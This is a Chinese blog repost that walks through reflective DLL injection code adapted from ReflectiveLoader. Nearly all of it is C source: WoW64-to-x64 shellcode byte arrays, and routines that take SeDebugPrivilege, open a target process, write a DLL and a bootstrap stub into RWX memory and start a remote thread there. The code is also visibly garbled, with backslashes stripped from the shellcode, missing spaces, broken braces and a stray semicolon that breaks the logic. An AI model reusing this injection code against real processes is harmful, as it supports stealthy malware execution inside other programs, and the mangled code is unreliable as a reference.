远程线程的注入 PE的修正

Posted lsgxeva

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了远程线程的注入 PE的修正相关的知识,希望对你有一定的参考价值。

远程线程的注入 PE的修正

https://bbs.pediy.com/thread-222187.htm

 

从github上下载了ReflectiverLoader认真学习了一下 在代码中得到一些心得和自己的想法,都按步骤写到了代码中,现在分享给大家,如有错,望大家指正

其中需要注入的dll和解析, 内存RVA与 文件RVA的转换代码(汇编与c++的都有)和解析,shellcode的汇编附到最后的链接中 

 

 一.这是用到的shellocode

作用:经调试得出他是为了解决x86下运行x64 的问题(windbg可以看到是通过远跳转到x64下执行)

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
static BYTE __ExecutexX64[] = "x55x89xE5x56x57x8Bx75x08x8Bx4Dx0CxE8x00x00x00x00"
"x58x83xC0x25x83xECx08x89xE2xC7x42x04x33x00x00x00"
"x89x02xE8x09x00x00x00x83xC4x14x5Fx5Ex5DxC2x08x00"
"x8Bx3Cx24xFFx2Ax48x31xC0x57xFFxD6x5Fx50xC7x44x24"
"x04x23x00x00x00x89x3Cx24xFFx2Cx24";
 
static BYTE __FunctionX64[] = "xFCx48x89xCEx48x89xE7x48x83xE4xF0xE8xC8x00x00x00"
"x41x51x41x50x52x51x56x48x31xD2x65x48x8Bx52x60x48"
"x8Bx52x18x48x8Bx52x20x48x8Bx72x50x48x0FxB7x4Ax4A"
"x4Dx31xC9x48x31xC0xACx3Cx61x7Cx02x2Cx20x41xC1xC9"
"x0Dx41x01xC1xE2xEDx52x41x51x48x8Bx52x20x8Bx42x3C"
"x48x01xD0x66x81x78x18x0Bx02x75x72x8Bx80x88x00x00"
"x00x48x85xC0x74x67x48x01xD0x50x8Bx48x18x44x8Bx40"
"x20x49x01xD0xE3x56x48xFFxC9x41x8Bx34x88x48x01xD6"
"x4Dx31xC9x48x31xC0xACx41xC1xC9x0Dx41x01xC1x38xE0"
"x75xF1x4Cx03x4Cx24x08x45x39xD1x75xD8x58x44x8Bx40"
"x24x49x01xD0x66x41x8Bx0Cx48x44x8Bx40x1Cx49x01xD0"
"x41x8Bx04x88x48x01xD0x41x58x41x58x5Ex59x5Ax41x58"
"x41x59x41x5Ax48x83xECx20x41x52xFFxE0x58x41x59x5A"
"x48x8Bx12xE9x4FxFFxFFxFFx5Dx4Dx31xC9x41x51x48x8D"
"x46x18x50xFFx76x10xFFx76x08x41x51x41x51x49xB8x01"
"x00x00x00x00x00x00x00x48x31xD2x48x8Bx0Ex41xBAxC8"
"x38xA4x40xFFxD5x48x85xC0x74x0Cx48xB8x00x00x00x00"
"x00x00x00x00xEBx0Ax48xB8x01x00x00x00x00x00x00x00"
"x48x83xC4x50x48x89xFCxC3";
 

二.用到的结构体 宏定义和哈希值(利用MakeHanValue计算就行,代码中有小注释)

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#define MYFUNCTION_HASH     0x6654bba6 // hash of "MyFunction"
enum {
    UNKNOWN,
    X86,
    X64
};
 
 
#define DEREFERENCE   (Value) *(UINT_PTR *)(Value)
#define DEREFERENCE_64(Value) *(DWORD64 *)(Value)
#define DEREFERENCE_32(Value) *(DWORD *)(Value)
#define DEREFERENCE_16(Value) *(WORD *)(Value)
#define DEREFERENCE_8 (Value) *(BYTE *)(Value)
 
typedef BOOL (WINAPI *LPFN_ISWOW64PROCESS) (HANDLE, PBOOL);
 
typedef BOOL(WINAPI* LPFN_FUNCTIONX64)(DWORD ParameterData);
typedef DWORD(WINAPI* LPFN_EXECUTEX64)(LPFN_FUNCTIONX64 FunctionX64, DWORD ParameterData);
 
typedef struct _WOW64CONTEXT_
{
    union
    {
        HANDLE ProcessHandle;
        BYTE   Padding[8];
    }u1;
 
    union
    {
        LPVOID ThreadProcedure;
        BYTE   Padding[8];
    }u2;
 
    union
    {
        LPVOID ParameterData;
        BYTE   Padding[8];
    }u3;
    union
    {
        HANDLE ThreadHandle;
        BYTE   Padding[8];
    }u4;
} WOW64CONTEXT, *LPWOW64CONTEXT;
 

 

 

三.主函数的解析

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
int main()
{
HANDLE FileHandle = NULL;
ULONG  FileLength = 0;
LPVOID FileData = NULL;
ULONG  ReturnLength = 0;
HANDLE ProcessHandle = NULL;
HANDLE RemoteThreadHandle = NULL;
DWORD  ExitCode = 0;
if (EnableSeDebugPrivilege(L"SeDebugPrivilege", TRUE) == FALSE)
{
return 0;
}
DWORD ProcessID = 0;
printf("Input ProcessID: ");
scanf("%d", &ProcessID);
#ifdef_WIN64
char* DllFullPath = "ReflectiveLoader.dll";
#else
char* DllFullPath = "ReflectiveLoader.dll";
#endif
//1.打开文件
FileHandle = CreateFileA(DllFullPath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (FileHandle == INVALID_HANDLE_VALUE)
{
printf("CreateFileA() Error ");
goto Exit;
}
//2.获得大小
FileLength = GetFileSize(FileHandle, NULL);
if (FileLength == INVALID_FILE_SIZE || FileLength == 0)
{
printf("GetFileSize() Error ");
goto Exit;
}
//3.申请堆内存
FileData = HeapAlloc(GetProcessHeap(), 0, FileLength);
if (!FileData)
{
printf("HeapAlloc() Error ");
goto Exit;
}
//4.读内存
if (ReadFile(FileHandle, FileData, FileLength, &ReturnLength, NULL) == FALSE)
{
printf("HeapAlloc() Error ");
goto Exit;
}
//以下是对目标进行操作
//5.打开目标进程
ProcessHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
FALSE, ProcessID);
if (!ProcessHandle)
{
printf("OpenProcess() Error ");
goto Exit;
}
//6.加载动态库
RemoteThreadHandle = LoadRemoteLibrary(ProcessHandle, FileData, FileLength, NULL,MYFUNCTION_HASH,(LPVOID)"911",strlen("911")+1);
if (!RemoteThreadHandle)
{
printf("LoadRemoteLibrary() Error ");
goto Exit;
}
printf("LoadRemoteLibrary() Success ");
//7.远程线程等待注入
WaitForSingleObject(RemoteThreadHandle, INFINITE);
if (!GetExitCodeThread(RemoteThreadHandle, &ExitCode))
printf("Input AnyKey To Exit ");
getchar();
//8.释放内存
Exit:
if (FileData)
{
HeapFree(GetProcessHeap(), 0, FileData);
}
if (FileHandle!=NULL)
    {
CloseHandle(FileHandle);
FileHandle = NULL;
    }
if (ProcessHandle)
{
CloseHandle(ProcessHandle);
ProcessHandle = NULL;
}
return 0;
}

 

 

四. LoadRemoteLibrary的解读(其中三种获得目标体系结构的方法 我记入了笔记)

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
HANDLEWINAPI LoadRemoteLibrary(
HANDLEProcessHandle,
LPVOIDFileData,   //Dll文件数据
DWORDFileLength,
LPVOIDParameterData,
DWORDFunctionHash,//函数哈希值
LPVOIDUserData,
DWORDUserDataLength)
{
HANDLE RemoteThreadHandle = NULL;
DWORD  RemoteThreadID = 0;
DWORD TargetArchitecture = X86; //目标体系结构
DWORD DllArchitecture = UNKNOWN;
#ifdefined(_WIN64)
DWORD CurrentArchitecture = X64;
#elifdefined(_WIN32)
DWORD CurrentArchitecture=X86
#else
#endif
__try
{
do
{
if (!ProcessHandle || !FileData || !FileLength)
{
break;
}
//第一幕
// 1.获得目标进程的Architecture 进程通过内核获得体系结构
HMODULE KernelModuleBase = LoadLibraryA("kernel32.dll");
if (!KernelModuleBase)
break;
__IsWow64Process = (LPFN_ISWOW64PROCESS)GetProcAddress(KernelModuleBase, "IsWow64Process");
FreeLibrary(KernelModuleBase);
if (__IsWow64Process)
{
BOOL IsOK;
if (!__IsWow64Process(ProcessHandle, &IsOK));
{
break;
}
if (IsOK)
{
TargetArchitecture = X86;
}
else
{
//通过系统判断32位与64
SYSTEM_INFO SystemInfo = 0 };
GetNativeSystemInfo(&SystemInfo);
if (SystemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64)
TargetArchitecture = X64;
elseif (SystemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_INTEL)
TargetArchitecture = X86;
else
break;
}
}
// 2.通过PE获得获得Dll的Architecture
//MZ头+e_lfanew=NT头
PIMAGE_NT_HEADERS ImageNtHeaders = (PIMAGE_NT_HEADERS)(((PUINT8)FileData) + ((PIMAGE_DOS_HEADER)FileData)->e_lfanew);
if (ImageNtHeaders->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC) // PE32
DllArchitecture = X86;
elseif (ImageNtHeaders->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) // PE64
DllArchitecture = X64;
// 3.判断DLL和目标进程是否是相同的架构??
if (DllArchitecture != TargetArchitecture)
{
printf("Must Be Same Architecture ");
break;
}
//第二幕
//1.再次检查动态库的装入
// check if the library has a ReflectiveLoader...
DWORD ReflectiveLoaderOffset = GetReflectiveLoaderOffset(FileData);
if (!ReflectiveLoaderOffset)
{
printf("Could Not Get ReflectiveLoader Offset ");
break;
}
DWORD RemoteBufferLength = FileLength
+ UserDataLength
+ 64// shellcode buffer
// 2.alloc memory (RWX) in the host process for the image...
LPVOID RemoteBufferData = VirtualAllocEx(ProcessHandle, NULL, RemoteBufferLength, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!RemoteBufferData)
{
break;
}
printf("VirtualAllocEx() Success ");
//3.1 write the image into the host process...将图像写入主进程。
//RemoteBufferData 指向写入数据的指定进程中的基地址的指针
if (!WriteProcessMemory(ProcessHandle, RemoteBufferData, FileData, FileLength, NULL))
break;
//基地址+偏移
ULONG_PTR ReflectiveLoader = (ULONG_PTR)RemoteBufferData + ReflectiveLoaderOffset;
//3.2 write our userdata blob into the host process
ULONG_PTR RemoteUserData = (ULONG_PTR)RemoteBufferData + FileLength;
if (!WriteProcessMemory(ProcessHandle, (LPVOID)RemoteUserData, UserData, UserDataLength, NULL))
break;
//3.3写shellcode
ULONG_PTR RemoteShellCode = RemoteUserData + UserDataLength;
BYTE Bootstrap[64= 0 };
DWORD BootstrapLength = CreateBootstrap(
Bootstrap,
64,
TargetArchitecture,
(ULONG_PTR)ParameterData,
(ULONG_PTR)RemoteBufferData,
FunctionHash,
RemoteUserData,
UserDataLength,
ReflectiveLoader);
if (BootstrapLength <= 0)
{
break;
}
printf("%p ", RemoteShellCode);
getchar();
if (!WriteProcessMemory(ProcessHandle, (LPVOID)RemoteShellCode, Bootstrap, BootstrapLength, NULL))
break;
printf("Wrote ShellCode Success ");
/*
此处的写入图
RemoteBufferData[FileData的基地址]
写入FileData
RemoteUserData[UserData的基地址]
写入UserData
RemoteShellCode
写入Bootstrap
*/
//确保我们的更改是马上写的
FlushInstructionCache(ProcessHandle, RemoteBufferData, RemoteBufferLength);
printf("%p ", RemoteShellCode);
getchar();
getchar();
//第三幕 判断主体与客体的位 并且创建线程执行
// 目标64  当前32
if (CurrentArchitecture == X86 && TargetArchitecture == X64)
{
Wow64CreateRemoteThread(ProcessHandle, (LPVOID)RemoteShellCode, ParameterData, &RemoteThreadHandle);
ResumeThread(RemoteThreadHandle);
}
else
{
//目标32  当前32
//目标64  当前64
//目标32  当前64
RemoteThreadHandle = CreateRemoteThread(ProcessHandle, NULL, 1024 * 1024,
(LPTHREAD_START_ROUTINE)RemoteShellCode, ParameterData,
(DWORD)NULL, &RemoteThreadID);
/*lpStartAddress [in]指向由线程执行的类型为LPTHREAD_START_ROUTINE的应用程序
定义函数的指针,并表示远程进程中线程的起始地址。该功能必须存在于远程进程中。
lpParameter [in]
指向要传递给线程函数的变量的指针。
*/
}
while (0);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
RemoteThreadHandle = NULL;
}
return RemoteThreadHandle;
}
 

 

 

 

五.  Wow64CreateRemoteThread解读

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
DWORD Wow64CreateRemoteThread(HANDLEProcessHandle, LPVOIDThreadProcedure, LPVOIDParameterData, HANDLE * ThreadHandle)
{
DWORD Result = ERROR_SUCCESS;
LPFN_EXECUTEX64  ExecuteX64 = NULL;
LPFN_FUNCTIONX64 FunctionX64 = NULL;
WOW64CONTEXT*  Wow64Context = NULL;
OSVERSIONINFO  OsVersionInfo = 0 };
do
{
//第一幕 判断系统是否合适
OsVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
if (!GetVersionEx(&OsVersionInfo))
{
printf("GetVersionEx() Error ");
break;
}
// filter out Windows 2003
if (OsVersionInfo.dwMajorVersion == 5 && OsVersionInfo.dwMinorVersion == 2)
{
printf("Is 2003 Error ");
break;
}
//第二幕
//1.分别为ExecuteX64,FunctionX64申请shellcode大小的内存兵赋值
/*shellcode经过调试得出是通过远跳转到64位进程中执行 惭愧 瞎调了一遍还没有掌握调试方法 有点难。。。*/
ExecuteX64 = (LPFN_EXECUTEX64)VirtualAlloc(NULL, sizeof(__ExecutexX64), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!ExecuteX64)
{
printf("VirtualAlloc() Error ");
break;
}
FunctionX64 = (LPFN_FUNCTIONX64)VirtualAlloc(NULL, sizeof(__FunctionX64) + sizeof(WOW64CONTEXT), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!FunctionX64)
{
printf("VirtualAlloc() Error ");
break;
}
// copy over the wow64->x64 stub
memcpy(ExecuteX64, &__ExecutexX64, sizeof(__ExecutexX64));
// copy over the native x64 function
memcpy(FunctionX64, &__FunctionX64, sizeof(__FunctionX64));
//2.设置上下背景文
Wow64Context = (WOW64CONTEXT *)((BYTE *)FunctionX64 + sizeof(__FunctionX64));
Wow64Context->u1.ProcessHandle   = ProcessHandle;   //目标进程句柄
Wow64Context->u2.ThreadProcedure = ThreadProcedure;
Wow64Context->u3.ParameterData   = ParameterData;
Wow64Context->u4.ThreadHandle    = NULL;
//3.执行该代码的环境是32
if (!ExecuteX64(FunctionX64, (DWORD)Wow64Context))  
{
printf("ExecuteX64() Error ");
break;
}
//作为一个标识
if (!Wow64Context->u4.ThreadHandle)
{
printf("ThreadHandle Is NULL ");
break;
}
// 4.成功! 从上下文中抓取新的线程句柄
*ThreadHandle = Wow64Context->u4.ThreadHandle;
while (0);
//5.退出
if (ExecuteX64)
{
VirtualFree(ExecuteX64, 0, MEM_RELEASE);
ExecuteX64 = NULL;
}
if (FunctionX64)
{
VirtualFree(FunctionX64, 0, MEM_RELEASE);
FunctionX64 = NULL;
}
return Result;
}
 

========== End

 

以上是关于远程线程的注入 PE的修正的主要内容,如果未能解决你的问题,请参考以下文章

PE基础6_远程线程注入-HOOK(消息-InLine-IAT)

远程线程注入代码

远程线程注入

远程线程注入

远程线程注入

远程线程DLL注入, 如何释放DLL和结束DLL的线程